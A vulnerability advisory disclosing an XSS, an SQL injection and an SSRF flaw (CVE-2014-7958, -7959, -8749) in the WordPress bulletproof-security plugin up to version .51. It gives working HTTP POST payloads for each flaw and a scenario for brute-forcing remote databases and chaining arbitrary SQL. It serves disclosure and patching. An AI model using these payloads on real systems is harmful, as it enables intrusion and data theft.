`Vulnerability title: Wordpress bulletproof-security <=.51 multiple  
vulnerabilities  
Author: Pietro Oliva  
CVE: CVE-2014-7958, CVE-2014-7959, CVE-2014-8749  
Vendor: AITpro  
Product: bulletproof-security  
Affected version: bulletproof-security <= .51  
Vulnerabilities fixed in version: .51.1  
  
Details:  
  
  
xss vulnerability (CVE-2014-7958):  
  
POST /wp-content/plugins/bulletproof-security/admin/htaccess/bpsunlock.php  
HTTP/1.1  
  
dbname=&dbuser=&dbpassword=&dbhost=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&tableprefix=&username=&Login-Security-Unlock=Unlock+User+Account  
  
  
SQL injection vulnerability (CVE-2014-7959, correct db username and  
password is required in order to exploit this):  
  
POST /wordpress/wp-content/plugins/bulletproof-security/admin/htaccess/bpsunlock.php  
HTTP/1.1  
  
dbname=information_schema&dbuser=root&dbpassword=password&dbhost=&tableprefix=tables+into+outfile+'/tmp/tables'%3b+--+&username=&Login-Security-Unlock=Unlock+User+Account  
  
  
  
SSRF vulnerability (CVE-2014-8749)  
  
  
POST /wp-content/plugins/bulletproof-security/admin/htaccess/bpsunlock.php  
HTTP/1.1  
dbname=&dbuser=root&dbpassword&dbhost=remotedatabase.com&tableprefix=&username=&Login-Security-Unlock=Unlock+User+Account  
  
Possible scenario:  
  
- the user sends a request with username, password, host and other  
parameters to the vulnerable page  
- the server doesn't check the host parameter to be in a whitelist of  
permitted databases  
- the server performs an authentication request to a remote or  
internal network database and gives back to the attacker the  
authentication result  
-After n attemps the attacker has bypassed access restrictions (if  
any) to the remote database, discovered the remote database password,  
and made it appear bulletproof-security as the source of the attack.  
  
Extra step:  
-If the sql injection flaw (CVE-2014-7959) is not fixed, an attacker  
could also execute arbitrary sql statement on the remote server, as  
the vulnerable page executes a query if the authentication is  
successful (without filtering or use prepared statements). The source  
of the attack would appear to be the bulletproof-security vulnerable  
site.
